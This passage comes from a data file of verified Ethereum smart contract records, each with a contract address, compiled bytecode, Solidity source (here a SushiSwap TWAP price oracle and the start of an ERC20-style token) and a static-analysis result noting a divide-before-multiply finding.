836020036101000a031916815260200191505b509250505060405180910390f35b6104ac6004803603604081101561047657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f0f565b60405180821515815260200191505060405180910390f35b610510600480360360408110156104da57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110e3565b60405180821515815260200191505060405180910390f35b61058a6004803603604081101561053e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112df565b6040518082815260200191505060405180910390f35b6105e2600480360360208110156105b657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611366565b005b6040518060400160405280600881526020017f4e697276616e616800000000000000000000000000000000000000000000000081525081565b600081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60015481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561075057600080fd5b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905061082383600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b590919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108b883600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cc90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061090e83826114b590919063ffffffff16565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b601281565b6012600a0a633b9aca000281565b60008111610a1f57600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115610a6b57600080fd5b6000339050610ac282600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b590919063ffffffff16565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b1a826001546114b590919063ffffffff16565b6001819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050565b600080600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610ce9576000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d7d565b610cfc83826114b590919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040518060400160405280600381526020017f4e5654000000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f4a57600080fd5b610f9c82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b590919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061103182600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cc90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061117482600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cc90919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146113be57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156113f857600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000828211156114c157fe5b818303905092915050565b6000808284019050838110156114de57fe5b809150509291505056fea2646970667358221220e6452d97ca16e873c272c0614458c7cc1156a95c59a073e68333e9502f1f821664736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 6,122 |
0x0D51b575591F8f74a2763Ade75D3CDCf6789266f
|
/**
*Submitted for verification at Etherscan.io on 2021-03-23
*/
// SPDX-License-Identifier: MIXED
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
// solhint-disable not-rely-on-time
// File contracts/interfaces/IOracle.sol
// License-Identifier: MIT
interface IOracle {
/// @notice Get the latest exchange rate.
/// @param data Usually abi encoded, implementation specific data that contains information and arguments to & about the oracle.
/// For example:
/// (string memory collateralSymbol, string memory assetSymbol, uint256 division) = abi.decode(data, (string, string, uint256));
/// @return success if no valid (recent) rate is available, return false else true.
/// @return rate The rate of the requested asset / pair / pool.
function get(bytes calldata data) external returns (bool success, uint256 rate);
/// @notice Check the last exchange rate without any state changes.
/// @param data Usually abi encoded, implementation specific data that contains information and arguments to & about the oracle.
/// For example:
/// (string memory collateralSymbol, string memory assetSymbol, uint256 division) = abi.decode(data, (string, string, uint256));
/// @return success if no valid (recent) rate is available, return false else true.
/// @return rate The rate of the requested asset / pair / pool.
function peek(bytes calldata data) external view returns (bool success, uint256 rate);
/// @notice Check the current spot exchange rate without any state changes. For oracles like TWAP this will be different from peek().
/// @param data Usually abi encoded, implementation specific data that contains information and arguments to & about the oracle.
/// For example:
/// (string memory collateralSymbol, string memory assetSymbol, uint256 division) = abi.decode(data, (string, string, uint256));
/// @return rate The rate of the requested asset / pair / pool.
function peekSpot(bytes calldata data) external view returns (uint256 rate);
/// @notice Returns a human readable (short) name about this oracle.
/// @param data Usually abi encoded, implementation specific data that contains information and arguments to & about the oracle.
/// For example:
/// (string memory collateralSymbol, string memory assetSymbol, uint256 division) = abi.decode(data, (string, string, uint256));
/// @return (string) A human readable symbol name about this oracle.
function symbol(bytes calldata data) external view returns (string memory);
/// @notice Returns a human readable name about this oracle.
/// @param data Usually abi encoded, implementation specific data that contains information and arguments to & about the oracle.
/// For example:
/// (string memory collateralSymbol, string memory assetSymbol, uint256 division) = abi.decode(data, (string, string, uint256));
/// @return (string) A human readable name about this oracle.
function name(bytes calldata data) external view returns (string memory);
}
// File @boringcrypto/boring-solidity/contracts/libraries/[email protected]
// License-Identifier: MIT
/// @notice A library for performing overflow-/underflow-safe math,
/// updated with awesomeness from of DappHub (https://github.com/dapphub/ds-math).
library BoringMath {
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
require((c = a + b) >= b, "BoringMath: Add Overflow");
}
function sub(uint256 a, uint256 b) internal pure returns (uint256 c) {
require((c = a - b) <= a, "BoringMath: Underflow");
}
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
require(b == 0 || (c = a * b) / b == a, "BoringMath: Mul Overflow");
}
function to128(uint256 a) internal pure returns (uint128 c) {
require(a <= uint128(-1), "BoringMath: uint128 Overflow");
c = uint128(a);
}
function to64(uint256 a) internal pure returns (uint64 c) {
require(a <= uint64(-1), "BoringMath: uint64 Overflow");
c = uint64(a);
}
function to32(uint256 a) internal pure returns (uint32 c) {
require(a <= uint32(-1), "BoringMath: uint32 Overflow");
c = uint32(a);
}
}
/// @notice A library for performing overflow-/underflow-safe addition and subtraction on uint128.
library BoringMath128 {
function add(uint128 a, uint128 b) internal pure returns (uint128 c) {
require((c = a + b) >= b, "BoringMath: Add Overflow");
}
function sub(uint128 a, uint128 b) internal pure returns (uint128 c) {
require((c = a - b) <= a, "BoringMath: Underflow");
}
}
/// @notice A library for performing overflow-/underflow-safe addition and subtraction on uint64.
library BoringMath64 {
function add(uint64 a, uint64 b) internal pure returns (uint64 c) {
require((c = a + b) >= b, "BoringMath: Add Overflow");
}
function sub(uint64 a, uint64 b) internal pure returns (uint64 c) {
require((c = a - b) <= a, "BoringMath: Underflow");
}
}
/// @notice A library for performing overflow-/underflow-safe addition and subtraction on uint32.
library BoringMath32 {
function add(uint32 a, uint32 b) internal pure returns (uint32 c) {
require((c = a + b) >= b, "BoringMath: Add Overflow");
}
function sub(uint32 a, uint32 b) internal pure returns (uint32 c) {
require((c = a - b) <= a, "BoringMath: Underflow");
}
}
// File @sushiswap/core/contracts/uniswapv2/interfaces/[email protected]
// License-Identifier: GPL-3.0
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint256);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function migrator() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint256) external view returns (address pair);
function allPairsLength() external view returns (uint256);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
function setMigrator(address) external;
}
// File @sushiswap/core/contracts/uniswapv2/interfaces/[email protected]
// License-Identifier: GPL-3.0
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint256);
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
event Mint(address indexed sender, uint256 amount0, uint256 amount1);
event Burn(address indexed sender, uint256 amount0, uint256 amount1, address indexed to);
event Swap(address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint256);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves()
external
view
returns (
uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast
);
function price0CumulativeLast() external view returns (uint256);
function price1CumulativeLast() external view returns (uint256);
function kLast() external view returns (uint256);
function mint(address to) external returns (uint256 liquidity);
function burn(address to) external returns (uint256 amount0, uint256 amount1);
function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data
) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
// File contracts/libraries/FullMath.sol
// License-Identifier: CC-BY-4.0
// taken from https://medium.com/coinmonks/math-in-solidity-part-3-percents-and-proportions-4db014e080b1
// license is CC-BY-4.0
library FullMath {
function fullMul(uint256 x, uint256 y) private pure returns (uint256 l, uint256 h) {
uint256 mm = mulmod(x, y, uint256(-1));
l = x * y;
h = mm - l;
if (mm < l) h -= 1;
}
function fullDiv(
uint256 l,
uint256 h,
uint256 d
) private pure returns (uint256) {
uint256 pow2 = d & -d;
d /= pow2;
l /= pow2;
l += h * ((-pow2) / pow2 + 1);
uint256 r = 1;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
return l * r;
}
function mulDiv(
uint256 x,
uint256 y,
uint256 d
) internal pure returns (uint256) {
(uint256 l, uint256 h) = fullMul(x, y);
uint256 mm = mulmod(x, y, d);
if (mm > l) h -= 1;
l -= mm;
require(h < d, "FullMath::mulDiv: overflow");
return fullDiv(l, h, d);
}
}
// File contracts/libraries/FixedPoint.sol
// License-Identifier: GPL-3.0-or-later
// a library for handling binary fixed point numbers (https://en.wikipedia.org/wiki/Q_(number_format))
library FixedPoint {
// range: [0, 2**112 - 1]
// resolution: 1 / 2**112
struct uq112x112 {
uint224 _x;
}
// range: [0, 2**144 - 1]
// resolution: 1 / 2**112
struct uq144x112 {
uint256 _x;
}
uint8 private constant RESOLUTION = 112;
uint256 private constant Q112 = 0x10000000000000000000000000000;
uint256 private constant Q224 = 0x100000000000000000000000000000000000000000000000000000000;
uint256 private constant LOWER_MASK = 0xffffffffffffffffffffffffffff; // decimal of UQ*x112 (lower 112 bits)
// decode a UQ144x112 into a uint144 by truncating after the radix point
function decode144(uq144x112 memory self) internal pure returns (uint144) {
return uint144(self._x >> RESOLUTION);
}
// multiply a UQ112x112 by a uint256, returning a UQ144x112
// reverts on overflow
function mul(uq112x112 memory self, uint256 y) internal pure returns (uq144x112 memory) {
uint256 z = 0;
require(y == 0 || (z = self._x * y) / y == self._x, "FixedPoint::mul: overflow");
return uq144x112(z);
}
// returns a UQ112x112 which represents the ratio of the numerator to the denominator
// lossy if either numerator or denominator is greater than 112 bits
function fraction(uint256 numerator, uint256 denominator) internal pure returns (uq112x112 memory) {
require(denominator > 0, "FixedPoint::fraction: div by 0");
if (numerator == 0) return FixedPoint.uq112x112(0);
if (numerator <= uint144(-1)) {
uint256 result = (numerator << RESOLUTION) / denominator;
require(result <= uint224(-1), "FixedPoint::fraction: overflow");
return uq112x112(uint224(result));
} else {
uint256 result = FullMath.mulDiv(numerator, Q112, denominator);
require(result <= uint224(-1), "FixedPoint::fraction: overflow");
return uq112x112(uint224(result));
}
}
}
// File contracts/oracles/SimpleSLPTWAP0Oracle.sol
// License-Identifier: AGPL-3.0-only
// Using the same Copyleft License as in the original Repository
// adapted from https://github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/examples/ExampleSlidingWindowOracle.sol
contract SimpleSLPTWAP1OracleV1 is IOracle {
using FixedPoint for *;
using BoringMath for uint256;
uint256 public constant PERIOD = 5 minutes;
struct PairInfo {
uint256 priceCumulativeLast;
uint32 blockTimestampLast;
uint144 priceAverage;
}
mapping(IUniswapV2Pair => PairInfo) public pairs; // Map of pairs and their info
mapping(address => IUniswapV2Pair) public callerInfo; // Map of callers to pairs
function _get(IUniswapV2Pair pair, uint32 blockTimestamp) public view returns (uint256) {
uint256 priceCumulative = pair.price1CumulativeLast();
// if time has elapsed since the last update on the pair, mock the accumulated price values
(uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast) = IUniswapV2Pair(pair).getReserves();
priceCumulative += uint256(FixedPoint.fraction(reserve0, reserve1)._x) * (blockTimestamp - blockTimestampLast); // overflows ok
// overflow is desired, casting never truncates
// cumulative price is in (uq112x112 price * seconds) units so we simply wrap it after division by time elapsed
return priceCumulative;
}
function getDataParameter(IUniswapV2Pair pair) public pure returns (bytes memory) {
return abi.encode(pair);
}
// Get the latest exchange rate, if no valid (recent) rate is available, return false
/// @inheritdoc IOracle
function get(bytes calldata data) external override returns (bool, uint256) {
IUniswapV2Pair pair = abi.decode(data, (IUniswapV2Pair));
uint32 blockTimestamp = uint32(block.timestamp);
if (pairs[pair].blockTimestampLast == 0) {
pairs[pair].blockTimestampLast = blockTimestamp;
pairs[pair].priceCumulativeLast = _get(pair, blockTimestamp);
return (false, 0);
}
uint32 timeElapsed = blockTimestamp - pairs[pair].blockTimestampLast; // overflow is desired
if (timeElapsed < PERIOD) {
return (true, pairs[pair].priceAverage);
}
uint256 priceCumulative = _get(pair, blockTimestamp);
pairs[pair].priceAverage = FixedPoint
.uq112x112(uint224((priceCumulative - pairs[pair].priceCumulativeLast) / timeElapsed))
.mul(10**18)
.decode144();
pairs[pair].blockTimestampLast = blockTimestamp;
pairs[pair].priceCumulativeLast = priceCumulative;
return (true, pairs[pair].priceAverage);
}
// Check the last exchange rate without any state changes
/// @inheritdoc IOracle
function peek(bytes calldata data) public view override returns (bool, uint256) {
IUniswapV2Pair pair = abi.decode(data, (IUniswapV2Pair));
uint32 blockTimestamp = uint32(block.timestamp);
if (pairs[pair].blockTimestampLast == 0) {
return (false, 0);
}
uint32 timeElapsed = blockTimestamp - pairs[pair].blockTimestampLast; // overflow is desired
if (timeElapsed < PERIOD) {
return (true, pairs[pair].priceAverage);
}
uint256 priceCumulative = _get(pair, blockTimestamp);
uint144 priceAverage =
FixedPoint.uq112x112(uint224((priceCumulative - pairs[pair].priceCumulativeLast) / timeElapsed)).mul(10**18).decode144();
return (true, priceAverage);
}
// Check the current spot exchange rate without any state changes
/// @inheritdoc IOracle
function peekSpot(bytes calldata data) external view override returns (uint256 rate) {
IUniswapV2Pair pair = abi.decode(data, (IUniswapV2Pair));
(uint256 reserve0, uint256 reserve1, ) = pair.getReserves();
rate = reserve0.mul(1e18) / reserve1;
}
/// @inheritdoc IOracle
function name(bytes calldata) public view override returns (string memory) {
return "SushiSwap TWAP";
}
/// @inheritdoc IOracle
function symbol(bytes calldata) public view override returns (string memory) {
return "TWAP";
}
}
|
0x608060405234801561001057600080fd5b50600436106100be5760003560e01c8063d39bbef011610076578063d6d7d5251161005b578063d6d7d5251461016d578063eeb8a8d31461018e578063fe33b302146101a1576100be565b8063d39bbef014610147578063d568866c1461015a576100be565b80637046db52116100a75780637046db521461010c578063b4d1d7951461012c578063c699c4d614610134576100be565b80634709904d146100c357806354fd9238146100ec575b600080fd5b6100d66100d1366004610d3b565b6101c3565b6040516100e39190610ef3565b60405180910390f35b6100ff6100fa366004610dcb565b6101eb565b6040516100e39190611027565b61011f61011a366004610d3b565b61035a565b6040516100e39190610ee0565b6100ff610383565b61011f610142366004610d5e565b610389565b6100ff610155366004610d5e565b6103c2565b61011f610168366004610d5e565b610491565b61018061017b366004610d5e565b6104ca565b6040516100e3929190610ed0565b61018061019c366004610d5e565b61079a565b6101b46101af366004610d3b565b610924565b6040516100e393929190611030565b60016020526000908152604090205473ffffffffffffffffffffffffffffffffffffffff1681565b6000808373ffffffffffffffffffffffffffffffffffffffff16635a3d54936040518163ffffffff1660e01b815260040160206040518083038186803b15801561023457600080fd5b505afa158015610248573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061026c9190610e4f565b905060008060008673ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b1580156102b957600080fd5b505afa1580156102cd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102f19190610e03565b92509250925080860363ffffffff1661032a846dffffffffffffffffffffffffffff16846dffffffffffffffffffffffffffff16610961565b517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff16029390930193505050505b92915050565b60608160405160200161036d9190610ef3565b6040516020818303038152906040529050919050565b61012c81565b505060408051808201909152600481527f5457415000000000000000000000000000000000000000000000000000000000602082015290565b6000806103d183850185610d3b565b90506000808273ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b15801561041c57600080fd5b505afa158015610430573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104549190610e03565b506dffffffffffffffffffffffffffff91821693501690508061047f83670de0b6b3a7640000610af0565b8161048657fe5b049695505050505050565b505060408051808201909152600e81527f5375736869537761702054574150000000000000000000000000000000000000602082015290565b600080806104da84860186610d3b565b73ffffffffffffffffffffffffffffffffffffffff8116600090815260208190526040902060010154909150429063ffffffff166105a75773ffffffffffffffffffffffffffffffffffffffff8216600090815260208190526040902060010180547fffffffffffffffffffffffffffffffffffffffffffffffffffffffff000000001663ffffffff831617905561057282826101eb565b73ffffffffffffffffffffffffffffffffffffffff909216600090815260208190526040812092909255509150819050610793565b73ffffffffffffffffffffffffffffffffffffffff821660009081526020819052604090206001015463ffffffff90811682039061012c908216101561063957505073ffffffffffffffffffffffffffffffffffffffff166000908152602081905260409020600190810154909250640100000000900471ffffffffffffffffffffffffffffffffffff169050610793565b600061064584846101eb565b90506106df6106da670de0b6b3a764000060405180602001604052808663ffffffff166000808b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001548703816106b357fe5b047bffffffffffffffffffffffffffffffffffffffffffffffffffffffff16905290610b41565b610bcf565b73ffffffffffffffffffffffffffffffffffffffff90941660009081526020819052604090206001808201805463ffffffff9096167fffffffffffffffffffffffffffffffffffffffffffffffffffffffff0000000071ffffffffffffffffffffffffffffffffffff9889166401000000009081027fffffffffffffffffffff000000000000000000000000000000000000ffffffff90991698909817161790819055929091559550919091049091169150505b9250929050565b600080806107aa84860186610d3b565b73ffffffffffffffffffffffffffffffffffffffff8116600090815260208190526040902060010154909150429063ffffffff166107f057600080935093505050610793565b73ffffffffffffffffffffffffffffffffffffffff821660009081526020819052604090206001015463ffffffff90811682039061012c908216101561088257505073ffffffffffffffffffffffffffffffffffffffff166000908152602081905260409020600190810154909250640100000000900471ffffffffffffffffffffffffffffffffffff169050610793565b600061088e84846101eb565b905060006108fe6106da670de0b6b3a764000060405180602001604052808763ffffffff166000808c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001548803816106b357fe5b6001975071ffffffffffffffffffffffffffffffffffff16955050505050509250929050565b6000602081905290815260409020805460019091015463ffffffff811690640100000000900471ffffffffffffffffffffffffffffffffffff1683565b610969610d16565b600082116109ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109a390610fb9565b60405180910390fd5b826109c65750604080516020810190915260008152610354565b71ffffffffffffffffffffffffffffffffffff8311610a7c57600082607085901b816109ee57fe5b0490507bffffffffffffffffffffffffffffffffffffffffffffffffffffffff811115610a47576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109a390610f82565b6040518060200160405280827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff16815250915050610354565b6000610a98846e01000000000000000000000000000085610bd6565b90507bffffffffffffffffffffffffffffffffffffffffffffffffffffffff811115610a47576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109a390610f82565b6000811580610b0b57505080820282828281610b0857fe5b04145b610354576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109a390610ff0565b610b49610d28565b6000821580610b8457505082517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1682810290838281610b8157fe5b04145b610bba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109a390610f14565b60408051602081019091529081529392505050565b5160701c90565b6000806000610be58686610c5b565b9150915060008480610bf357fe5b868809905082811115610c07576001820391505b8083039250848210610c45576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109a390610f4b565b610c50838387610ca6565b979650505050505050565b600080807fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84860990508385029250828103915082811015610c9e576001820391505b509250929050565b60008181038216808381610cb657fe5b049250808581610cc257fe5b049450808160000381610cd157fe5b60028581038087028203028087028203028087028203028087028203028087028203028087028203029586029003909402930460010193909302939093010292915050565b60408051602081019091526000815290565b6040518060200160405280600081525090565b600060208284031215610d4c578081fd5b8135610d5781611060565b9392505050565b60008060208385031215610d70578081fd5b823567ffffffffffffffff80821115610d87578283fd5b818501915085601f830112610d9a578283fd5b813581811115610da8578384fd5b866020828501011115610db9578384fd5b60209290920196919550909350505050565b60008060408385031215610ddd578182fd5b8235610de881611060565b91506020830135610df8816110a1565b809150509250929050565b600080600060608486031215610e17578081fd5b8351610e2281611085565b6020850151909350610e3381611085565b6040850151909250610e44816110a1565b809150509250925092565b600060208284031215610e60578081fd5b5051919050565b60008151808452815b81811015610e8c57602081850181015186830182015201610e70565b81811115610e9d5782602083870101525b50601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0169290920160200192915050565b9115158252602082015260400190565b600060208252610d576020830184610e67565b73ffffffffffffffffffffffffffffffffffffffff91909116815260200190565b60208082526019908201527f4669786564506f696e743a3a6d756c3a206f766572666c6f7700000000000000604082015260600190565b6020808252601a908201527f46756c6c4d6174683a3a6d756c4469763a206f766572666c6f77000000000000604082015260600190565b6020808252601e908201527f4669786564506f696e743a3a6672616374696f6e3a206f766572666c6f770000604082015260600190565b6020808252601e908201527f4669786564506f696e743a3a6672616374696f6e3a2064697620627920300000604082015260600190565b60208082526018908201527f426f72696e674d6174683a204d756c204f766572666c6f770000000000000000604082015260600190565b90815260200190565b92835263ffffffff91909116602083015271ffffffffffffffffffffffffffffffffffff16604082015260600190565b73ffffffffffffffffffffffffffffffffffffffff8116811461108257600080fd5b50565b6dffffffffffffffffffffffffffff8116811461108257600080fd5b63ffffffff8116811461108257600080fdfea26469706673582212204111be90053e78dba3c0c67e5060226bbc7decd76589f95c539ef7c888c025a064736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 6,123 |
0x06df8621e05cfbfcde583fa15f103962d51b21ed
|
pragma solidity ^0.4.18;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
